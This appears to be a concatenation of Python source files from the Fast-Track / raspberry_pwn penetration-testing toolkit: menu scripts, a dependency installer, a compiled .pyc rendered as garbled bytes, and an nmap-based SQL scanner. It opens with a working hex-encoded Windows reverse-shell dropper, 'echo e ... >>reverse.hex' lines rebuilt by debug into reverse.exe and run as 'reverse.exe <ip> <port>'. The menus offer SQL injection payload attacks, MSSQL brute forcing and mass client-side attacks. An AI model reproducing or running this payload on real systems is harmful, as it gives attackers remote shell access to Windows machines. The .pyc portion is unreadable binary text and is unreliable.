08 90 22 0b e1 51 14 e8 1f 81 4b c3 ff 25 24 20 bb 6f 2a 1c 06 43 18 21 14 bd c3 22 08 71 cc 01 55 8b ec 81 c4 7c fe ff 88 56 57 e8 60 ac dd 89 45 fc 33 1d c9 8b 75 7e 38 3c 1d 74 07 1e 22 40 f7 41 eb f4 51 d1 72 e9 00 e1 58 3b c1 74 0b 5f 5e 30 b8 03 >>reverse.hex\necho e 0400 >>reverse.hex && echo b9 c9 c2 08 e1 86 49 8d bd 3c 70 e5 43 2a 09 cf 2f e0 02 b0 20 aa eb 73 f2 28 8d 85 15 39 8b f0 36 f8 33 2a 33 eb 1b 8b 03 66 32 07 ef 22 65 20 4d fe 22 11 e1 28 2d ed 94 08 83 b9 dc b7 30 4b 74 fb 3b 3a 4d 08 a8 15 59 65 1d 67 0a 4c 13 41 1d 0f 14 eb e6 aa 0d 36 07 19 87 38 f4 b0 7f c0 55 73 11 8b 7d 0c c6 17 b8 02 7f 82 a2 13 9d 68 b0 a0 58 34 33 0d 46 0d e6 d1 f7 e1 fe 58 a3 ee >>reverse.hex\necho e 0480 >>reverse.hex && echo e7 44 bb 1f 16 a9 ce 11 04 de 55 01 3c d4 14 d4 0e 1b 33 c0 4e ec 87 0b 70 d2 8a 06 46 3d 3c 02 b3 12 0e f7 df 90 eb 0b 2c 30 19 8d 0c 89 06 48 83 2d 0a c0 75 f1 e8 04 11 33 51 c2 38 e2 30 83 c4 07 f4 6a f5 e8 69 09 19 49 ff bd 82 aa 20 0b d0 2a 93 75 37 f8 50 22 9d 29 86 06 fc e8 4d 2f 68 8b 24 38 e6 53 1a 0f 08 8d 50 03 21 18 83 c0 04 e3 f9 ff fe 80 02 f7 d3 23 cb 81 e1 44 80 74 >>reverse.hex\necho e 0500 >>reverse.hex && echo 7c e9 6c c1 0c 60 75 77 06 f4 10 c0 40 02 d0 e1 1b c2 51 5b 3a 47 c4 49 19 ca 0c 57 06 08 30 00 00 30 40 00 63 30 6d 64 00 66 3f 40 00 14 38 20 40 03 77 73 32 5f 33 98 2e 64 6c e3 c0 80 67 07 65 74 68 6f 73 40 62 79 6e 61 7b 6d cf 1e 63 9e 3c f7 eb ff 0e 12 57 53 41 5d cf 61 72 46 75 70 18 79 68 ca 2c 73 13 4f 26 63 6b 62 ef c1 ff b8 03 6c 95 1a 72 ca 5e 6c 4c c7 57 d3 69 74 f3 46 >>reverse.hex""") binary1.close() binary2=open("reversebinarygen.txt", "a") binary2.write("""\necho e 0580 >>reverse.hex && echo a7 bc 91 47 c3 4c 43 6f 6d 88 61 6e 64 36 4c 69 44 62 7e 80 76 72 fb 9d 3a 50 b7 82 e7 73 15 41 58 21 c0 64 48 d0 43 2f 60 00 00 00 00 00 66 3f 40 00 4c 6f 61 64 4c 69 62 72 61 72 79 41 00 47 65 74 50 72 6f 63 41 64 64 72 65 73 73 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 40 00 00 e9 74 be ff ff 00 00 00 02 00 00 00 0c 40 00 00 >>reverse.hex\necho r cx >>reverse.hex && echo 04ef >>reverse.hex && echo w >>reverse.hex && echo q >>reverse.hex && debug<reverse.hex && copy 1.dll reverse.exe && del 1.dll && del reverse.hex\n\n\n******* COPY AND PASTE ABOVE TO A WINDOWS SHELL *******\n******* TO USE REVERSE USE reverse.exe <ip> <port> *******""") binary2.close() print 'Opening Kate...' time.sleep(5) kateopen=os.system("kwrite reversebinarygen.txt &") print '\n***** COPY AND PASTE THE TEXT FILE OUTPUT *****\n' print '***** To use reverse.exe use reverse.exe <ip> <port> *****\n' pause=raw_input("Press enter to return to main menu") except Exception: print 'Something went wrong...Returning to main menu.' if choice1 == '2' : import sys definepath=os.getcwd() sys.path.append("%s/bin/ftsrc/" % (definepath)) try: reload(binarypayloadgen) except Exception: pass import binarypayloadgen # Start mass client attack if menu == '7' : import sys definepath=os.getcwd() sys.path.append("%s/bin/ftsrc/clientattack/" % (definepath)) try: reload(massclient) except Exception: pass import massclient # Return to previous menu if menu == '8' : print """\n\n ***** Returning to Previous Menu *****\n""" break
34,858
Python
.py
416
67.713942
4,046
0.590632
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,328
sqlinjector.py.svn-base
pwnieexpress_raspberry_pwn/src/pentest/fasttrack/bin/menu/.svn/text-base/sqlinjector.py.svn-base
#!/usr/bin/env python import os,sys,time definepath=os.getcwd() sys.path.append("%s/bin/ftsrc/" % (definepath)) import include while 1==1: include.print_banner() menu=raw_input(""" Enter which SQL Injector you want to use: 1. SQL Injector - Query String Parameter Attack 2. SQL Injector - POST Parameter Attack 3. SQL Injector - GET FTP Payload Attack 4. SQL Injector - GET Manual Setup Binary Payload Attack (q)uit Enter your choice: """) if menu == 'quit' or menu == 'q': break # Start query string attack if menu == '1': try: reload(sqlbinarypayload) except Exception: pass import sqlbinarypayload # POST ATTACK if menu == '2': try: reload(sqlbinarypayloadpost) except Exception: pass import sqlbinarypayloadpost # Reverse FTP if menu == '3': try: reload(sqlftppayload) except Exception: pass import sqlftppayload # manual setup if menu == '4': try: reload(sqlmanual) except Exception: pass import sqlmanual
1,116
Python
.py
44
19.704545
60
0.638577
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,329
main.py.svn-base
pwnieexpress_raspberry_pwn/src/pentest/fasttrack/bin/menu/.svn/text-base/main.py.svn-base
#!/usr/bin/env python import time,re,os,sys,subprocess try: import psyco psyco.full() except ImportError: pass definepath=os.getcwd() sys.path.append("%s/bin/ftsrc/" % (definepath)) import include sys.path.append("%s/bin/setup/" % (definepath)) import depend updateconfig="" # Main Menu to choose readversion=file("bin/version/version","r") for line in readversion: version=line.rstrip() try: while 1==1: include.print_banner() mainmenu=raw_input(''' Fast-Track Main Menu: 1. Fast-Track Updates 2. Autopwn Automation 3. Nmap Scripting Engine 4. Microsoft SQL Tools 5. Mass Client-Side Attack 6. Exploits 7. Binary to Hex Payload Converter 8. Payload Generator 9. Fast-Track Tutorials 10. Fast-Track Changelog 11. Fast-Track Credits 12. Exit Fast-Track Enter the number: ''') if mainmenu == '1': try: # DEBUGGING # Check OS - show or hide updates configfile=file("bin/config/config", "r").readlines() for line in configfile: search=re.search("SHOWUPDATES=",line) if search: line=line.rstrip() updateconfig=line.split("=") updateconfig=updateconfig[1] if updateconfig == "": #Suggest running setup and show restricted menu try: reload(updatemenu) except Exception: pass import updatemenu if updateconfig == "YES": # Is not BackTrack, show all updates try: reload(updatemenu) except Exception: pass import updatemenu if updateconfig == "NO": # Is BackTrack, update fast-track only try: reload(updateftonlymenu) except Exception: pass import updateftonlymenu except KeyboardInterrupt : print '\n\n Returning to previous menu...' time.sleep(2) # Start Metasploit Autopwn if mainmenu == '2': try: sys.path.append("%s/bin/ftsrc/" % (definepath)) try: reload(autopwn) except Exception: pass import autopwn except KeyboardInterrupt : print '\n\n Returning to previous menu...' time.sleep(2) # Nmap Scripting Engine if mainmenu == '3' : try: try: reload(nsemenu) except Exception: pass import nsemenu except KeyboardInterrupt : print '\n\n Returning to previous menu...' time.sleep(2) # MSSQL Attacks if mainmenu == '4' : try: try: reload(mssqlattacks) except Exception: pass import mssqlattacks except KeyboardInterrupt : print '\n\n Returning to previous menu...' time.sleep(2) # Start Mass Client Attack if mainmenu == '5': try: sys.path.append("%s/bin/ftsrc/clientattack/" % (definepath)) try: reload(massclient) except Exception: pass import massclient except KeyboardInterrupt : print '\n\n Returning to previous menu...' time.sleep(2) # Exploit menu start if mainmenu == '6': try: try: reload(exploitmenu) except Exception: import exploitmenu except KeyboardInterrupt: print '\n\n Returning to previous menu...' time.sleep(2) if mainmenu == '7': #Start Binary to Hex Generator try: sys.path.append("%s/bin/ftsrc/" % (definepath)) try: reload(binarypayloadgen) except Exception: pass import binarypayloadgen except KeyboardInterrupt : print '\n Returning to previous menu...' time.sleep(2) # Start Option 7 Payload Generator if mainmenu == '8': try: sys.path.append("%s/bin/ftsrc/" % (definepath)) try: reload(payloadgen) except Exception: pass import payloadgen except KeyboardInterrupt : print '\n Returning to previous menu...' time.sleep(2) # Start Option 8 Tutorials if mainmenu == '9' : try: try: reload(tutorialsmenu) except Exception: pass import tutorialsmenu except KeyboardInterrupt : print '\n Returning to previous menu...' time.sleep(2) # Start Option 9 ChangeLog if mainmenu == '10' : try: sys.path.append("%s/bin/ftsrc/" % (definepath)) try: reload(changelog) except Exception: pass import changelog except KeyboardInterrupt : print '\n\n Returning to previous menu...\n' time.sleep(2) # Start Option 10 credits if mainmenu == '11' : try: sys.path.append("%s/bin/ftsrc/" % (definepath)) try: reload(credits) except Exception: pass import credits except KeyboardInterrupt : print '\n\n Returning to previous menu...\n' time.sleep(2) # Exit Fast-Track if mainmenu == '12': print """\n\n Exiting Fast-Track...\n\n """ cleanup=subprocess.Popen("rm sqlpassword 2> /dev/null;rm SqlScan.txt 2> /dev/null;rm sqlopen.txt 2> /dev/null;rm pentest 2> /dev/null;rm parse2.txt 2> /dev/null;rm parse.txt 2> /dev/null;rm binarypayload.txt 2> /dev/null;portscan.txt 2> /dev/null", shell=True) sys.exit() # Error handling except KeyboardInterrupt : print """\n\n Exiting Fast-Track...\n""" cleanup=subprocess.Popen("rm sqlpassword 2> /dev/null;rm SqlScan.txt 2> /dev/null;rm sqlopen.txt 2> /dev/null;rm pentest 2> /dev/null;rm parse2.txt 2> /dev/null;rm parse.txt 2> /dev/null;rm binarypayload.txt 2> /dev/null;rm portscan.txt 2> /dev/null", shell=True)
6,486
Python
.py
194
22.613402
269
0.543429
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,330
updateftonlymenu.py.svn-base
pwnieexpress_raspberry_pwn/src/pentest/fasttrack/bin/menu/.svn/text-base/updateftonlymenu.py.svn-base
#!/usr/bin/env python import os,sys definepath=os.getcwd() sys.path.append("%s/bin/ftsrc/" % (definepath)) import include try: import psyco psyco.full() except ImportError: pass while 1 == 1 : include.print_banner() menuz=raw_input(''' Fast-Track Update Menu (BackTrack): 1. Update Fast-Track (q)uit Enter number: ''') if menuz == '1': try: reload(updateft) except Exception: pass import updateft if menuz == 'q': break # End Updates Menu
527
Python
.py
25
16.6
47
0.644172
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,331
servicesmenu.py.svn-base
pwnieexpress_raspberry_pwn/src/pentest/fasttrack/bin/menu/.svn/text-base/servicesmenu.py.svn-base
#!/usr/bin/env python import os,time,re definepath=os.getcwd() # define metasploit path meta_path=file("%s/config/fasttrack_config" % (definepath),"r").readlines() for line in meta_path: line=line.rstrip() match=re.search("METASPLOIT_PATH",line) if match: line=line.replace("METASPLOIT_PATH=","") metapath=line try: import psyco psyco.full() except ImportError: pass while 1==1 : servmen=raw_input("""Which service do you want to start: 1. VNC 2. TFTP 3. SSH 4. Apache 5. Metasploit Web 6. ProFTPD (q)uit Enter number: """) if servmen == '1' : vnc=os.system("vncserver;netstat -ant |grep 5901") print "VNC Server Started..." if servmen == '2' : tftp=os.system("atftpd --daemon --port 69 /tmp/;netstat -anu |grep 69") print "TFTP Server Started..." if servmen == '3' : ssh=os.system("sshd-generate;/usr/sbin/sshd;netstat -ant |grep 22") print "SSH Server Started..." if servmen == '4' : apache=os.system("apachectl start;netstat -ant |grep 80") print "Apache Server Started..." if servmen == '5' : metasplt1=os.system("%s/msfweb &" % (metapath)) time.sleep(10) print 'Sleeping 10 seconds...waiting for metasploit...then launching FireFox' metasplt2=os.system("firefox http://127.0.0.1:55555 &") if servmen == '6' : print "Make sure you installed it from the Updates Menu first!!" time.sleep(2) print 'Starting FTP Service' ftpstart=os.system('proftpd &') print 'FTP Service Started. Returning to menu.' if servmen == 'q' : print "Returning to previous menu..." break
1,851
Python
.py
52
27.192308
90
0.580915
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,332
mssqlattacks.py.svn-base
pwnieexpress_raspberry_pwn/src/pentest/fasttrack/bin/menu/.svn/text-base/mssqlattacks.py.svn-base
#!/usr/bin/env python import os,sys,time definepath=os.getcwd() sys.path.append("%s/bin/ftsrc/" % (definepath)) import include try: import psyco psyco.full() except ImportError: pass definepath=os.getcwd() while 1==1: include.print_banner() menu=raw_input(""" Microsoft SQL Attack Tools 1. MSSQL Injector 2. MSSQL Bruter 3. SQLPwnage (q)uit Enter your choice : """) if menu == 'q': break # MSSQL Injector Start if menu == '1': sys.path.append("%s/bin/ftsrc/" % (definepath)) try: try: reload(sqlinjector) except Exception: pass import sqlinjector except Exception,e: print e # Start SQL Bruter if menu == '2': sys.path.append("%s/bin/ftsrc/" % (definepath)) try: try: reload(sqlbrute) except Exception: pass import sqlbrute except Exception,e: print e #SQLPwnage Start if menu == '3': sys.path.append("%s/bin/ftsrc/sqlpwnage/" % (definepath)) try: try: reload(sqlpwnage) except Exception: pass import sqlpwnage except Exception,e: print e # Cancel if menu == '4': break
1,202
Python
.py
54
16.962963
62
0.618421
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,333
depend.py
pwnieexpress_raspberry_pwn/src/pentest/fasttrack/bin/setup/depend.py
#!/usr/bin/env python import os count=0 # Perform Dependency check print "\n\n\n\n\n***********************************************\n******* Performing dependency checks... *******\n***********************************************\n" try: import _mssql print "*** FreeTDS and PYMMSQL are installed. (Check) ***" count=count+1 except ImportError: print "!!! *ERROR* FreeTDS and PYMMSQL are NOT installed. *ERROR* !!!" answer1=raw_input("Would you like to install it now? yes or no: ") if answer1=='yes' or answer1=='y': print "Installing FreeTDS and PYMMSQL" slack1=os.system("wget http://ibiblio.org/pub/Linux/ALPHA/freetds/stable/freetds-stable.tgz") slack2=os.system("wget http://downloads.sourceforge.net/pymssql/pymssql-0.8.0.tar.gz") slack3=os.system("tar -zxvf freetds-stable.tgz;tar -zxvf pymssql-0.8.0.tar.gz;cd freetds-0.*;./configure --enable-msdblib --with-tdsver=8.0 && make && make install; cd ..;cd pymssql-0.8.0;ln -s /usr/local/lib/libsysbdb.so.5 /usr/lib;python setup.py install;cd ..;rm -rf freetds*;rm -rf pymssql*") print 'Running ldconfig....' ldconfig=os.system("ldconfig") print "FreeTDS and PYMMSQL Installed..." print "Re-checking dependency..." try: import _mssql print "Installed successfully...This module is now functioning." count=count+1 except ImportError: print "Something went wrong during the installation process, try installing FreeTDS and PYMMSQL manually..." except KeyboardInterrupt: print "\nExiting Fast-Track...\n\n" try: import pexpect print "*** PExpect is installed. (Check) ***" except ImportError: print "!!! *ERROR* PExpect is NOT installed. *ERROR* !!!" answer1=raw_input("Would you like to install it now? yes or no: ") if answer1=='yes' or answer1=='y': print 'Installing Module for Python Called "PExpect"' pexpect0=os.system('wget http://downloads.sourceforge.net/pexpect/pexpect-2.3.tar.gz;tar -zxvf pexpect-2.3.tar.gz;cd pexpect-2.3;python setup.py install;cd ..;rm -rf pexpect-2.3;rm pexpect-2.3.tar.gz') print "PExpect Installed..." print "Re-checking dependency..." try: import pexpect print "Installed successfully...This module is now functioning." count=count+1 except ImportError: print "Something went wrong during the installation process, try installing FreeTDS and PYMMSQL manually..." except KeyboardInterrupt: print "\nExiting Fast-Track...\n\n" try: import ClientForm print "*** ClientForm is installed. (Check) ***" count=count+1 except ImportError: print "!!! *ERROR* ClientForm is NOT installed. *ERROR* !!!" answer1=raw_input("Would you like to install it now? yes or no: ") if answer1=='yes' or answer1=='y': print "Installing ClientForm Python Module" installclientform=os.system("svn co http://codespeak.net/svn/wwwsearch/ClientForm/trunk ClientForm;cd ClientForm;python setup.py install;cd ..;rm -rf ClientForm") print "ClientForm Installed." print "Re-checking dependency" try: import ClientForm print "Installed successfully...This module is now functioning." count=count+1 except ImportError: print "Something went wrong during the installation process, try installing ClientForm manually..." except KeyboardInterrupt: print "\nExiting Fast-Track...\n\n" try: import psyco psyco.full() print "*** Psyco is installed. (Check) ***" # count=count+1 except ImportError: pass except KeyboardInterrupt: print "\nExiting Fast-Track...\n\n" try: from BeautifulSoup import BeautifulSoup print "*** Beautiful Soup is installed. (Check) ***" count=count+1 except ImportError: print "!!! *ERROR* Beautiful Soup is NOT installed...This is needed for SQLPwnage. *ERROR* !!!" answer1=raw_input("Would you like to install it now? yes or no: ") if answer1=='yes' or answer1=='y': print "Installing BeautifulSoup Python Module" installbeatsoup=os.system("wget http://www.crummy.com/software/BeautifulSoup/download/BeautifulSoup.tar.gz;tar -zxvf BeautifulSoup.tar.gz;cd BeautifulSoup*;python setup.py install;cd ..;rm -rf BeautifulSoup*") print "BeautifulSoup Installed." print "Re-checking dependency" try: from BeautifulSoup import BeautifulSoup print "Installed successfully...This module is now functioning." count=count+1 except ImportError: print "BeautifulSoup is installed but you will need to restart Fast-Track in order for it to work properly." except KeyboardInterrupt: print "\nExiting Fast-Track...\n\n" #try: # import pymills # print "*** PyMills is installed. (Check) ***" # count=count+1 #except ImportError: # print "!!! *ERROR* PyMills is NOT installed...This is needed for SQLPwnage. *ERROR* !!!" # answer1=raw_input("Would you like to install it now? yes or no: ") # if answer1=='yes' or answer1=='y': # print "Installing PyMills Python Module, this may take a few mins" # grabsetuptools=os.system("svn co http://svn.python.org/projects/sandbox/branches/setuptools-0.6/ pym;cd pym;python setup.py install;cd ..;rm -rf pym") # installpymills=os.system('wget http://pypi.inqbus.de/pymills/pymills-3.4.tar.gz;tar -zxvf pymills-3.4.tar.gz;mv pymills-3.4 pymills;cd pymills/;python setup.py install;cd ..;rm -rf pymills*') # print "PyMills Installed.." # print "Re-checking dependancy" # try: # import pymills # print "Installed successfully...This module is now functioning." # count=count+1 # except ImportError: # print "PyMills is installed but you will need to restart Fast-Track in order for it to work properly." except KeyboardInterrupt: print "\nExiting Fast-Track...\n\n" print "\nAlso ensure ProFTP, WinEXE, and SQLite3 is installed from\nthe Updates/Installation menu." if count ==3: print "\nYour system has all requirements needed to run Fast-Track!" if count !=3: print "*WARNING* Your system is missing some components required for Fast-Track.. *WARNING*"
6,193
Python
.py
121
46.347107
302
0.68553
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,334
depend.pyc
pwnieexpress_raspberry_pwn/src/pentest/fasttrack/bin/setup/depend.pyc
Ñò ™ƒkOc@s+ddkZdZdGHyddkZdGHedZWnãej oÀdGHedƒZedjp ed joŽd GHeid ƒZeid ƒZeid ƒZ dGHeidƒZ dGHdGHyddkZdGHedZWqej o dGHqXqne j o dGHnXyddk Z dGHWn±ej oŽdGHedƒZedjp ed jo\dGHeidƒZ dGHdGHyddk Z dGHedZWqÉej o dGHqÉXqåne j o dGHnXyddkZdGHedZWn±ej oŽdGHedƒZedjp ed jo\dGHeidƒZdGHdGHyddkZdGHedZWqœej o d GHqœXq¸ne j o dGHnXyddkZeiƒd!GHWn*ej one j o dGHnXy#dd"klZd#GHedZWnÌej o’d$GHedƒZedjp ed jo`d%GHeid&ƒZd'GHdGHy#dd"klZdGHedZWqÃej o d(GHqÃXqön0e j o dGHne j o dGHnXd)GHed*jo d+GHned*jo d,GHndS(-iÿÿÿÿNis• *********************************************** ******* Performing dependency checks... ******* *********************************************** s2*** FreeTDS and PYMMSQL are installed. (Check) ***is>!!! *ERROR* FreeTDS and PYMMSQL are NOT installed. *ERROR* !!!s-Would you like to install it now? yes or no: tyestysInstalling FreeTDS and PYMMSQLsIwget http://ibiblio.org/pub/Linux/ALPHA/freetds/stable/freetds-stable.tgzsBwget http://downloads.sourceforge.net/pymssql/pymssql-0.8.0.tar.gzstar -zxvf freetds-stable.tgz;tar -zxvf pymssql-0.8.0.tar.gz;cd freetds-0.*;./configure --enable-msdblib --with-tdsver=8.0 && make && make install; cd ..;cd pymssql-0.8.0;ln -s /usr/local/lib/libsysbdb.so.5 /usr/lib;python setup.py install;cd ..;rm -rf freetds*;rm -rf pymssql*sRunning ldconfig....tldconfigs FreeTDS and PYMMSQL Installed...sRe-checking dependency...s8Installed successfully...This module is now functioning.sdSomething went wrong during the installation process, try installing FreeTDS and PYMMSQL manually...s Exiting Fast-Track... s%*** PExpect is installed. (Check) ***s1!!! *ERROR* PExpect is NOT installed. *ERROR* !!!s-Installing Module for Python Called "PExpect"s³wget http://downloads.sourceforge.net/pexpect/pexpect-2.3.tar.gz;tar -zxvf pexpect-2.3.tar.gz;cd pexpect-2.3;python setup.py install;cd ..;rm -rf pexpect-2.3;rm pexpect-2.3.tar.gzsPExpect Installed...s(*** ClientForm is installed. (Check) ***s4!!! *ERROR* ClientForm is NOT installed. *ERROR* !!!s#Installing ClientForm Python Modulesƒsvn co http://codespeak.net/svn/wwwsearch/ClientForm/trunk ClientForm;cd ClientForm;python setup.py install;cd ..;rm -rf ClientFormsClientForm Installed.sRe-checking dependencys[Something went wrong during the installation process, try installing ClientForm manually...s#*** Psyco is installed. (Check) ***(t BeautifulSoups,*** Beautiful Soup is installed. (Check) ***sW!!! *ERROR* Beautiful Soup is NOT installed...This is needed for SQLPwnage. *ERROR* !!!s&Installing BeautifulSoup Python Modules´wget http://www.crummy.com/software/BeautifulSoup/download/BeautifulSoup.tar.gz;tar -zxvf BeautifulSoup.tar.gz;cd BeautifulSoup*;python setup.py install;cd ..;rm -rf BeautifulSoup*sBeautifulSoup Installed.sdBeautifulSoup is installed but you will need to restart Fast-Track in order for it to work properly.sY Also ensure ProFTP, WinEXE, and SQLite3 is installed from the Updates/Installation menu.is; Your system has all requirements needed to run Fast-Track!sT*WARNING* Your system is missing some components required for Fast-Track.. *WARNING*(tostcountt_mssqlt ImportErrort raw_inputtanswer1tsystemtslack1tslack2tslack3RtKeyboardInterrupttpexpecttpexpect0t ClientFormtinstallclientformtpsycotfullRtinstallbeatsoup(((s*/var/pwnplug/fasttrack/bin/setup/depend.pyt<module>sÈ                        
4,359
Python
.py
35
123.4
1,353
0.583333
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,335
depend.py.svn-base
pwnieexpress_raspberry_pwn/src/pentest/fasttrack/bin/setup/.svn/text-base/depend.py.svn-base
#!/usr/bin/env python import os count=0 # Perform Dependency check print "\n\n\n\n\n***********************************************\n******* Performing dependency checks... *******\n***********************************************\n" try: import _mssql print "*** FreeTDS and PYMMSQL are installed. (Check) ***" count=count+1 except ImportError: print "!!! *ERROR* FreeTDS and PYMMSQL are NOT installed. *ERROR* !!!" answer1=raw_input("Would you like to install it now? yes or no: ") if answer1=='yes' or answer1=='y': print "Installing FreeTDS and PYMMSQL" slack1=os.system("wget http://ibiblio.org/pub/Linux/ALPHA/freetds/stable/freetds-stable.tgz") slack2=os.system("wget http://downloads.sourceforge.net/pymssql/pymssql-0.8.0.tar.gz") slack3=os.system("tar -zxvf freetds-stable.tgz;tar -zxvf pymssql-0.8.0.tar.gz;cd freetds-0.*;./configure --enable-msdblib --with-tdsver=8.0 && make && make install; cd ..;cd pymssql-0.8.0;ln -s /usr/local/lib/libsysbdb.so.5 /usr/lib;python setup.py install;cd ..;rm -rf freetds*;rm -rf pymssql*") print 'Running ldconfig....' ldconfig=os.system("ldconfig") print "FreeTDS and PYMMSQL Installed..." print "Re-checking dependency..." try: import _mssql print "Installed successfully...This module is now functioning." count=count+1 except ImportError: print "Something went wrong during the installation process, try installing FreeTDS and PYMMSQL manually..." except KeyboardInterrupt: print "\nExiting Fast-Track...\n\n" try: import pexpect print "*** PExpect is installed. (Check) ***" except ImportError: print "!!! *ERROR* PExpect is NOT installed. *ERROR* !!!" answer1=raw_input("Would you like to install it now? yes or no: ") if answer1=='yes' or answer1=='y': print 'Installing Module for Python Called "PExpect"' pexpect0=os.system('wget http://downloads.sourceforge.net/pexpect/pexpect-2.3.tar.gz;tar -zxvf pexpect-2.3.tar.gz;cd pexpect-2.3;python setup.py install;cd ..;rm -rf pexpect-2.3;rm pexpect-2.3.tar.gz') print "PExpect Installed..." print "Re-checking dependency..." try: import pexpect print "Installed successfully...This module is now functioning." count=count+1 except ImportError: print "Something went wrong during the installation process, try installing FreeTDS and PYMMSQL manually..." except KeyboardInterrupt: print "\nExiting Fast-Track...\n\n" try: import ClientForm print "*** ClientForm is installed. (Check) ***" count=count+1 except ImportError: print "!!! *ERROR* ClientForm is NOT installed. *ERROR* !!!" answer1=raw_input("Would you like to install it now? yes or no: ") if answer1=='yes' or answer1=='y': print "Installing ClientForm Python Module" installclientform=os.system("svn co http://codespeak.net/svn/wwwsearch/ClientForm/trunk ClientForm;cd ClientForm;python setup.py install;cd ..;rm -rf ClientForm") print "ClientForm Installed." print "Re-checking dependency" try: import ClientForm print "Installed successfully...This module is now functioning." count=count+1 except ImportError: print "Something went wrong during the installation process, try installing ClientForm manually..." except KeyboardInterrupt: print "\nExiting Fast-Track...\n\n" try: import psyco psyco.full() print "*** Psyco is installed. (Check) ***" # count=count+1 except ImportError: pass except KeyboardInterrupt: print "\nExiting Fast-Track...\n\n" try: from BeautifulSoup import BeautifulSoup print "*** Beautiful Soup is installed. (Check) ***" count=count+1 except ImportError: print "!!! *ERROR* Beautiful Soup is NOT installed...This is needed for SQLPwnage. *ERROR* !!!" answer1=raw_input("Would you like to install it now? yes or no: ") if answer1=='yes' or answer1=='y': print "Installing BeautifulSoup Python Module" installbeatsoup=os.system("wget http://www.crummy.com/software/BeautifulSoup/download/BeautifulSoup.tar.gz;tar -zxvf BeautifulSoup.tar.gz;cd BeautifulSoup*;python setup.py install;cd ..;rm -rf BeautifulSoup*") print "BeautifulSoup Installed." print "Re-checking dependency" try: from BeautifulSoup import BeautifulSoup print "Installed successfully...This module is now functioning." count=count+1 except ImportError: print "BeautifulSoup is installed but you will need to restart Fast-Track in order for it to work properly." except KeyboardInterrupt: print "\nExiting Fast-Track...\n\n" #try: # import pymills # print "*** PyMills is installed. (Check) ***" # count=count+1 #except ImportError: # print "!!! *ERROR* PyMills is NOT installed...This is needed for SQLPwnage. *ERROR* !!!" # answer1=raw_input("Would you like to install it now? yes or no: ") # if answer1=='yes' or answer1=='y': # print "Installing PyMills Python Module, this may take a few mins" # grabsetuptools=os.system("svn co http://svn.python.org/projects/sandbox/branches/setuptools-0.6/ pym;cd pym;python setup.py install;cd ..;rm -rf pym") # installpymills=os.system('wget http://pypi.inqbus.de/pymills/pymills-3.4.tar.gz;tar -zxvf pymills-3.4.tar.gz;mv pymills-3.4 pymills;cd pymills/;python setup.py install;cd ..;rm -rf pymills*') # print "PyMills Installed.." # print "Re-checking dependancy" # try: # import pymills # print "Installed successfully...This module is now functioning." # count=count+1 # except ImportError: # print "PyMills is installed but you will need to restart Fast-Track in order for it to work properly." except KeyboardInterrupt: print "\nExiting Fast-Track...\n\n" print "\nAlso ensure ProFTP, WinEXE, and SQLite3 is installed from\nthe Updates/Installation menu." if count ==3: print "\nYour system has all requirements needed to run Fast-Track!" if count !=3: print "*WARNING* Your system is missing some components required for Fast-Track.. *WARNING*"
6,193
Python
.py
121
46.347107
302
0.68553
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,336
sqlping.py
pwnieexpress_raspberry_pwn/src/pentest/fasttrack/bin/ftsrc/sqlping.py
#!/usr/bin/env python import time import subprocess import os import re import sys definepath=os.getcwd() # define metasploit path meta_path=file("%s/config/fasttrack_config" % (definepath),"r").readlines() for line in meta_path: line=line.rstrip() match=re.search("METASPLOIT_PATH",line) if match: line=line.replace("METASPLOIT_PATH=","") metapath=line # Define ranges for scanning here try: scanfirst1=sys.argv[4] except IndexError: if not os.path.isfile("bin/appdata/hostfile"): scanfirst1=raw_input("Enter the IP Range to scan for SQL Scan (example 192.168.1.1-255): ") if os.path.isfile("bin/appdata/hostfile"): hostfile=raw_input("Enter path to the file of ip addresses to scan: ") # decide to do advanced identification of sql servers sqlping=raw_input(""" Do you want to perform advanced SQL server identification on non-standard SQL ports? This will use UDP footprinting in order to determine where the SQL servers are at. This could take quite a long time. Do you want to perform advanced identification, yes or no: """) # default to yes if sqlping == '': sqlping=("yes") # if no, do regular scan if sqlping == 'n' or sqlping == 'no': print ("Alright. Moving on...") print """There may be a slight delay while scanning... be patient...""" if os.path.isfile("bin/appdata/hostfile"): scan1=os.system("nmap -sT -v -P0 -p1433 -iL %s > bin/appdata/SqlScan.txt 2> /dev/null" % (hostfile)) # start scan looking just for 1433 if not os.path.isfile("bin/appdata/hostfile"): scan1=os.system("nmap -sT -v -P0 -p1433 %s > bin/appdata/SqlScan.txt 2> /dev/null" % (scanfirst1)) print "\n" scanres=os.popen("grep Discovered* bin/appdata/SqlScan.txt").read() if not scanres: print "\nNo SQL servers were found during scanning...Sorry.\n" print "Exiting Fast-Track....\n\n" rmold=subprocess.Popen("rm bin/appdata/SqlScan.txt 2>/dev/null", shell=True).wait() sys.exit(1) # display discovered sql servers print "%s" % scanres bb=subprocess.Popen('grep "Discovered" bin/appdata/SqlScan.txt | cut -c34-48 > bin/appdata/sqlip.txt', shell=True).wait() fileopen=file("bin/appdata/sqlip.txt","r").readlines() filewrite=file("bin/appdata/sqlopen.txt","w") for line in fileopen: # remove line breaks line=line.rstrip() # append 1433 as port line=line+":1433" filewrite.write(line) filewrite.write("\n") filewrite.close() time.sleep(2) # advanced sql footprinting using metasploit aux module if sqlping == 'y' or sqlping == 'yes': try: match=re.search("-",scanfirst1) if match: print ("""Fast-Track currently only supports cidr notations or one IP address at a time.\n\nExample: 192.168.1.1/24 or 192.168.1.35\n\nExiting Fast-Track...""") print "\n\nNOTE THE REASON FOR EXITING 